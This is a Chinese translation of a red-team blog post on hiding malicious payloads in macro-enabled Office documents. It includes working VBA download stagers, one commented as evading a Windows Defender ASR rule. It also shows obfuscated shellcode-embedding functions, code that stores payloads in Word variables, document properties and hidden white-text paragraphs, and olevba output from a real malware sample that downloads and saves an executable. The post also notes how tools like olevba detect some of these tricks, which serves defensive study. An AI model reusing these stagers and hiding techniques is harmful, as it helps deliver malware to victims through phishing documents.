Backdooring Office Structures. Part 1: The Oldschool
英文原文:https://mgeeky.tech/backdooring-office-structures-part-1-oldschool/一、摘要
本系列文章讨论了攻击者使用启用宏的 Office 文档传递恶意代码的各种手段,我们概述了 staged 与 stageless 及相关 VBA 实现,然后在 OpenXML 结构中研究隐藏攻击者意图的问题。在第二部分中,我将我发现的技术 (将 Word、Excel 和 PowerPoint 中的恶意软件统一隐藏在未涵盖的存储中) 发布出来。
二、模拟与仿真
对手模拟练习有时需要团队去制定新的战术和武器,这就是红队走出模拟,转而探索敌对模拟领域的地方。他们需要尖端的进攻性研发,通常会吸引想要成为高薪科学家和网络雇佣兵的新人。然而在实际参与的过程中,当任务和压力的数量决定了必须做什么来代替可以做的事情时,在实际参与期间几乎没有时间进行设计和发明。
到目前为止,启用宏的 Office payload 已经吸引了我很长一段时间,因为它们优雅、出现在典型工作程序中。
为了减轻每次参与生成恶意文档的痛苦,我在过去三年的大部分时间里都在开发一个私有的初始访问生成框架,这促使我为同样的老问题发明了新的解决方案。其中一个问题是以更隐蔽的方式将 payload 嵌入恶意文档中的困境。
最近我决定是时候分享我武器化和使用的一些想法了,本文向读者介绍了在文档中隐藏 payload 的概念。下一部分将依次揭示另一种隐藏方式,用于在共享相同 VBA 检索原语的 Word、Excel 和 PowerPoint 中隐藏 payload。
但是,在进入之前,让我们先探索当前并在此过程中慢慢的积累。
三、典型的 payload 传送策略
威胁参与者和红队在其基于 office 的初始访问活动中使用的大多数恶意文档都必须将 shellcode、可执行文件或任何其他不可靠的文件释放到受感染的系统。有一些可行的方法可以做到这一点:
[*]从 Internet 获取 payload (stage)
[*]在 VBA 代码中嵌入 payload (stageless)
[*]在文档结构中的某处隐藏 payload (stageless)
四、Internet-staged payloads
从 Internet 中提取 payload 是一种优雅且轻量级的方法,因为它为对手提供了更大的灵活性和控制权。我们可以部署恶意文档,从攻击者控制的资源中获取第二阶段恶意软件,如果我们感觉到蓝队开始追捕,则将该恶意软件切换为良性。
有两种常用的 Internet VBA stager 实现,在这里:
Microsoft.XMLHTTP
Function obf_DownloadFromURL(ByVal obf_URL As String) As String
On Error GoTo obf_ProcError
'
' Among different ways to download content from the Internet via VBScript:
' - WinHttp.WinHttpRequest.5.1
' - Msxml2.XMLHTTP
' - Microsoft.XMLHTTP
' only the last one was not blocked by Windows Defender Exploit Guard ASR rule:
' "Block Javascript or VBScript from launching downloaded executable content"
'
With CreateObject("Microsoft.XMLHTTP")
.Open "GET", obf_URL, False
.setRequestHeader "Accept", "*/*"
.setRequestHeader "Accept-Language", "en-US,en;q=0.9"
.setRequestHeader "User-Agent", "<<<USER_AGENT>>>"
.setRequestHeader "Accept-Encoding", "gzip, deflate"
.setRequestHeader "Cache-Control", "private, no-store, max-age=0"
<<<HTTP_HEADERS>>>
.Send
If .Status = 200 Then
obf_DownloadFromURL = StrConv(.ResponseBody, vbUnicode)
Exit Function
End If
End With
obf_ProcError:
obf_DownloadFromURL = ""
End Function
InternetExplorer.Application
'
' Downloads Internet contents by instrumenting Internet Explorer's COM object.
'
Function obf_DownloadFromURL(ByVal obf_URL As String) As String
On Error GoTo obf_ProcError
With CreateObject("InternetExplorer.Application")
.Visible = False
.Navigate obf_URL
While .ReadyState <> 4 Or .Busy
DoEvents
Wend
obf_DownloadFromURL = StrConv(.ie.Document.Body.innerText, vbUnicode)
Exit Function
End With
obf_ProcError:
obf_DownloadFromURL = ""
End Function
更常见的是前者,而后者在严重依赖 Internet Explorer 的环境中可能看起来更隐蔽。
然而,每种方法都有其缺点。从 Office 发送请求可能看起来是不寻常的活动,并在相关的事件包中再添加一个事件。
那么 VBA 发起的请求应该是什么样子也有两难选择?我们希望硬编码哪些标头,User-Agent?在哪托管该 payload,域,分类标签、TLS 证书内容如何?
从进攻性的角度来看,从 Internet 获取 payload 并不是我真正喜欢的事情。这种设计方法并没有解决问题,而是引入了其他问题。
五、在 VBA 中嵌入恶意软件
另一种方法可能更简单,但会避免连接互联网,保持 stageless 感染链。只要 Office 恶意软件存在,威胁行为者就一直依赖该原则:只需让 VBA 解码恶意软件字节,拼接好并释放完整的 payload blob。这么容易,对吧?
Private Function obf_ShellcodeFunc81() As String
Dim obf_ShellcodeVar80 As String
obf_ShellcodeVar80 = ""
[...]
obf_ShellcodeVar80 = obf_ShellcodeVar80 & "800EK+3YvPe6wFO6tCVI91lg2Bi3ae8DNtlWbCczAi+XnmipCn3kRpi2js7bNntB0TC/qn2WiYP275Z9"
obf_ShellcodeVar80 = obf_ShellcodeVar80 & "HVkgI4GH7dOACixe7W5qjTL8HIzH6mYubKWDgvlbe72MfmkGUJKquPm+Ap5bRxceDpUag64Z3HccyfYM"
obf_ShellcodeVar80 = obf_ShellcodeVar80 & "NNacM35abBiGPNRBGL7G82Pv/uxL2G+aZgQXJdnxOLpTaj7QOJYb07+qqZa0v86U+dBpUWXziW7TiiAh"
[...]
obf_ShellcodeFunc81 = obf_ShellcodeVar80
End Function
Private Function obf_ShellcodeFunc35() As String
Dim obf_ShellcodeVar34 As String
obf_ShellcodeVar34 = ""
[...]
obf_ShellcodeVar34 = obf_ShellcodeVar34 & "5/FrooZq8NT/0izIE93LbjRes6WfzjpIWqthlztCSldPtj3QIga5wHXkiDbhTFcUHqOW9toGVUid9bv/"
obf_ShellcodeVar34 = obf_ShellcodeVar34 & "T5Hrm2PP+xPtVz/LlzFGbCL9aKXfTW7GEBQYpw66VQj/nOleZrciTLbN3noDJUo0AuGVtbNQUVu9zi3q"
obf_ShellcodeVar34 = obf_ShellcodeVar34 & "GpOYCZiaPNOxbBIiDdxgMvpoftErBPG/O65lfoP8ERbameOFCfybXWLZe3l3n6z/9rcmsZguSFr/tmoc"
[...]
obf_ShellcodeFunc35 = obf_ShellcodeVar34
End Function
Private Function obf_ShellcodeFunc3() As String
Dim obf_ShellcodeVar96 As String
obf_ShellcodeVar96 = ""
obf_ShellcodeVar96 = obf_ShellcodeVar96 & obf_ShellcodeFunc12()
obf_ShellcodeVar96 = obf_ShellcodeVar96 & obf_ShellcodeFunc15()
[...]
obf_ShellcodeVar96 = obf_ShellcodeVar96 & obf_ShellcodeFunc95()
obf_ShellcodeFunc3 = obf_ShellcodeVar96
End Function
VBA 语法强加了一些代码需要遵循的限制,我喜欢将其称为 128×128 规则:
[*]单个 VBA 代码行中不超过 128 个字符
[*]单个 VBA 函数/子例程中不超过 128 行
违反其中任何一个都可能导致 VBE7.dll 运行时抱怨语法,从而打破我们的错误行为。
数十个过长的、返回string或Byte数组的类似VBA函数明显地突出,即使是非技术员工也会感到焦虑。cloud-detonation 或沙箱环境或自动化分析系统使用的机器学习模型也将根据预期的可疑程度的特征相似性来选择。
这种方法可能只有在我们希望隐藏的 payload 非常小时才可行。否则,从隐蔽性的角度来看,这是不行的。
六、受污染的文档结构
OpenXML 结构、XML 节点,我知道至少有十几个不同的地方可以插入 payload,从而使我们的恶意软件处于潜伏扫描仪的雷达之下。
让我们讨论几个,通常会在 Threat Actors 工件中遇到:
[*]Document properties
[*]Office Forms and their input or combo fields
[*]ActiveDocument Paragraphs & Sheets Ranges
[*]Word Variables
它们的共同特征是,恶意数据将以某种方式驻留在某些与 openxml 对齐的 XML 文件、节点或某个属性中。通常,我们使用专业的工具从那里提取恶意软件,例如 Philipe Lagadec 的 olevba 或 Didier Stevens 的 oledump。
6.1 Document Properties
将 payload 隐藏在文档属性中的想法由来已久,几年前我曾遇到过这样的恶意样本。VBA 实现很简单,payload 的位置使得攻击者可以轻松调整它以快速更新他们的 payload。然而,对于自动扫描仪来说,提取隐藏数据并全速前进同样微不足道。
通常属性存储在 docProps/core.xml 和 docProps/app.xml 中,可以在解压 OpenXML (即 2007+) 后提取它们。
Example docProps/core.xml :
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties
xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:dcmitype="http://purl.org/dc/dcmitype/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:title></dc:title>
<dc:subject>calc.exe</dc:subject>
<dc:creator>john.doe</dc:creator>
<cp:keywords></cp:keywords>
<dc:description></dc:description>
<cp:lastModifiedBy>john.doe</cp:lastModifiedBy>
<cp:lastPrinted>2022-07-27T01:29:26Z</cp:lastPrinted>
<dcterms:created xsi:type="dcterms:W3CDTF">2022-07-27T01:29:26Z</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2022-07-27T01:29:26Z</dcterms:modified>
<cp:category></cp:category>
<dc:language>en-US</dc:language>
</cp:coreProperties>
core.xml 和 app.xml 都是我们在部署恶意软件之前总是匿名的,以避免 OPSEC 错误将顾问的电子邮件或恶意软件开发工作站的主机名留在文档的元数据中 (经典的 OPSEC 肯定会失败,每个红队成员在职业生涯中都会犯一次)。
从偏执逃避的角度来看,我不喜欢这种设计,因为它太出名了,提取起来微不足道,而且太容易暴露我的意图。
6.2 Office Forms
曾经有人使用 VBA 设计了一个表单,该表单由一个询问姓名的输入字段和一个可爱的小按钮组成,上面写着 Click me。如果该按钮被点击,一个 Hello <name>!问候可以使一个人的一天更美好。收集名称和引用它的按钮的输入字段。作者生活得很愉快,直到实习生拿起文档并通过使按钮运行 Shell(command-from-input-field) 而破坏了表单。
恶意软件作者注意到他们可以将其邪恶存储在表单控件中,然后在 VBA 运行和执行时动态地拉取它。
下面是一个样本的截图 (来自我个人的恶意软件分析集合):
好奇的恶意软件分析人员可以在此处找到该示例。
只要分析师审查样本,或者更确切地说,自动化沙箱和 AV 引擎不会意识到 Forms 可以传达的邪恶,这个想法可能会很有趣。不过,根据我的经验,现代 AV 或专业工具 (例如 olevba.py) 可以轻松嗅探和重建 Forms 内容。
这是一个将其提供给 olevba.py 进行分析的示例:
cmd> olevba.py 2.xls
[...]
-------------------------------------------------------------------------------le - ☺♦llFile newFilename
VBA FORM STRING IN '.\\2.xls' - OLE stream: '_VBA_PROJECT_CUR/FRM2/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Microsoft.XMLHTTP*Adodb.Stream*Shell.Application*WScript.Shell*Process*GET*TEMP*Type*Open*write*responseBody*savetofile*\sepultura.exeIf YusssUUUKkahhyyuiooopY_17.FileExist(newFilename & ".layer") Then YusssUUUKkahhyyuiooopY_17.KillFile newFilename & ".layer"
-------------------------------------------------------------------------------er"
VBA FORM Variable "b'ComboBox1'" IN '.\\2.xls' - OLE stream: '_VBA_PROJECT_CUR/FRM2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'Microsoft.XMLHTTP*Adodb.Stream*Shell.Application*WScript.Shell*Process*GET*TEMP*Type*Open*write*responseBody*savetofile*\\sepultura.exe'
[...]
正如我们所看到的 —— Form 没有机会对抗 olevba.py 解析逻辑。好吧,追求隐身的红队也不应该依赖这个。
6.3 ActiveDocument.Paragraphs & Sheet Ranges
另一种特定于 MS Word 的方法可能会滥用文档的静态实例公开的 Paragraphs 对象,另一个想法可能是使用以下方法将 payload 隐藏在远 Excel 单元格中:
ThisWorkbook.Sheets("Sheet1").Ranges("BL417") = "evil"
非常简单的存储,同样容易恢复。
在下面的截图中可以看到将其武器化的示例 (另一个来自我的恶意软件集合):
样本:https://www.virustotal.com/gui/file/90443e288c045edc0a05a1c5df6952810bd065578800eea5e662ffa62a71ee7a。
在第 1 行中,我们看到恶意软件的代码如何迭代。然后在 2 中提取文本范围,稍后将在 3 中取消异或并在 4 中构建可执行的 stage2。
对于有经验的分析师来说,对这样一个样本的剖析非常简单,因为它表现为 word/document.xml 的异常大小:
remnux $ find . -ls
remnux@mBase-dell:/mnt/d/shredder/1$ find . -ls
drwxrwxrwx 1 remnuxremnux 512 Aug4 13:02 .
drwxrwxrwx 1 remnuxremnux 512 Aug4 13:02 ./customXml
-rwxrwxrwx 1 remnuxremnux 205 Dec 311979 ./customXml/item1.xml
-rwxrwxrwx 1 remnuxremnux 341 Dec 311979 ./customXml/itemProps1.xml
drwxrwxrwx 1 remnuxremnux 512 Aug4 13:02 ./customXml/_rels
-rwxrwxrwx 1 remnuxremnux 296 Dec 311979 ./customXml/_rels/item1.xml.rels
drwxrwxrwx 1 remnuxremnux 512 Aug4 13:02 ./docProps
-rwxrwxrwx 1 remnuxremnux 996 Dec 311979 ./docProps/app.xml
-rwxrwxrwx 1 remnuxremnux 630 Dec 311979 ./docProps/core.xml
drwxrwxrwx 1 remnuxremnux 512 Aug4 13:02 ./word
-rwxrwxrwx 1 remnuxremnux 173096 Jun 292016 ./word/document.xml
-rwxrwxrwx 1 remnuxremnux 1296 Dec 311979 ./word/fontTable.xml
drwxrwxrwx 1 remnuxremnux 512 Aug4 13:02 ./word/media
-rwxrwxrwx 1 remnuxremnux 237387 Jun 292016 ./word/media/image1.png
-rwxrwxrwx 1 remnuxremnux 2775 Dec 311979 ./word/numbering.xml
-rwxrwxrwx 1 remnuxremnux 2937 Dec 311979 ./word/settings.xml
-rwxrwxrwx 1 remnuxremnux 15636 Dec 311979 ./word/styles.xml
drwxrwxrwx 1 remnuxremnux 512 Aug4 13:02 ./word/theme
-rwxrwxrwx 1 remnuxremnux 7021 Dec 311979 ./word/theme/theme1.xml
-rwxrwxrwx 1 remnuxremnux 1061 Dec 311979 ./word/vbaData.xml
-rwxrwxrwx 1 remnuxremnux 33824 Jun 292016 ./word/vbaProject.bin
-rwxrwxrwx 1 remnuxremnux 1475 Dec 311979 ./word/webSettings.xml
drwxrwxrwx 1 remnuxremnux 512 Aug4 13:02 ./word/_rels
-rwxrwxrwx 1 remnuxremnux 1346 Dec 311979 ./word/_rels/document.xml.rels
-rwxrwxrwx 1 remnuxremnux 277 Dec 311979 ./word/_rels/vbaProject.bin.rels
-rwxrwxrwx 1 remnuxremnux 1768 Dec 311979 ./.xml
drwxrwxrwx 1 remnuxremnux 512 Aug4 13:02 ./_rels
-rwxrwxrwx 1 remnuxremnux 590 Dec 311979 ./_rels/.rels
由于 document.xml 已经因其出人意料的巨大尺寸而引目,因此快速查看内部会发现恶意流
<w:document> => <w:body> => <w:p> => <w:r>=> <w:t>
XML 的一部分:
[...]
<w:szCs w:val="20"/>
</w:rPr>
</w:pPr>
<w:r w:rsidRPr="006330C0">
<w:rPr>
<w:color w:val="FFFFFF" w:themeColor="background1"/>
<w:szCs w:val="20"/>
</w:rPr>
<w:t>7E69A3333033333337333333CCCC33338B33333333333333733333333333333333333333333333333333333333333333333333333333333333333333B33333333D2C893D33873AFE128B327FFE12675B5A401343415C5441525E1350525D5D5C471351561341465D135A5D13777C60135E5C57561D3E3E391733333333333333637633337F323133DB8A40643333333333333333D3333C323832310133CD3333337D333333333333FCCC33333323333333233233333373333323333333313333373333333333333337333333333333333353323333313333342D3133313333333333233333233333333323333323333333333333233333333333333333333333837E323387333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
</w:t>
</w:r>
</w:p>
<w:sectPr w:rsidR="006330C0" w:rsidRPr="006330C0" w:rsidSect="00313CAA">
<w:pgSz w:w="11906" w:h="16838"/>
<w:pgMar w:top="1417" w:right="1152" w:bottom="1417" w:left="1152" w:header="708" w:footer="708" w:gutter="0"/>
<w:cols w:space="708"/>
<w:docGrid w:linePitch="360"/>
</w:sectPr>
</w:body>
</w:document>
olevba.py 目前并未通过其恶意软件特征分析报告发现该异常。
缺失的地方可能表明,使用 ActiveDocument.Paragraphs,一个典型的 MS Word 容器可能在基于 Word 的社会工程借口中很有用。然而就个人而言,我不喜欢我的 XML 表现出类似的异常并明显突出。对我来说不行,但也许有人会喜欢它。
6.4 Word Variables
另一个特定于 Word 的 XML 滥用了旨在承载 Word 可以用来生成不同文档的动态数据的 变量存储。Pepitoh 在 VBad 中介绍了该存储的公共武器化示例,具体来说:
def generate_generic_store_function(self, macro_name, variable_name, variable_value):
set_var = self.format_long_string(variable_value, "tmp")
if self.doc_type == ".doc":
gen_vba = """
Sub %(macro_name)s()
%(set_var)s
ActiveDocument.Variables.Add Name:="%(variable_name)s", Value:=%(variable_value)s
End Sub
"""%{
"set_var" : set_var,
"macro_name" : macro_name,
"variable_name" : variable_name,
"variable_value": "tmp"
}
VBad 将数据存储在变量中的方法是在 Word 打开时动态执行 VBA 代码。或者,我们可以以编程方式打开 word/settings.xml 并在 </w:settings> 之前插入以下两个节点:
<w:docVars>
<w:docVar w:name="varName" w:val="contents..." />
</w:docVars>
在实际交战中,检查所有 payload 并手动更改其结构肯定有点麻烦。这就是为什么我在我的 Initial Access 框架中方便地实现了本文章系列中讨论的大多数原语。Python 是 Red Teamer 最好的朋友,当我的同事尖叫 Mariusz 时,我从不让我失望,我现在需要一个 Maldoc!受害者要求 "report.docm"。
示例 VBA 读取原语可能如下所示:
Function obf_GetWordVariable(ByVal obf_name) As String
On Error GoTo obf_ProcError
obf_GetWordVariable = ActiveDocument.Variables(obf_name).Value
obf_ProcError:
obf_GetWordVariable = ""
End Function
然而看起来很酷,olevba.py 比它更聪明:
七、结论
本文讨论了攻击者可能采用的各种手段来使用 Office 文档传递其恶意代码。我们已经探索了在 VBA 模块之外获取恶意负载的不同方法,使其简短且无害。
在下一部分中,我们将讨论另一种方法,我发现在过去的几次交战中我发现了成功且令人满意的隐秘性。这使我们能够有效地保持我们的 CustomBase64(XorEncoded(.NET assemblies)) 为 DotNetToJScript 风格的主干提供数据 —— 在 VBA OLE 流之外,同时避免了设置 Internet-staging 的麻烦。
页:
[1]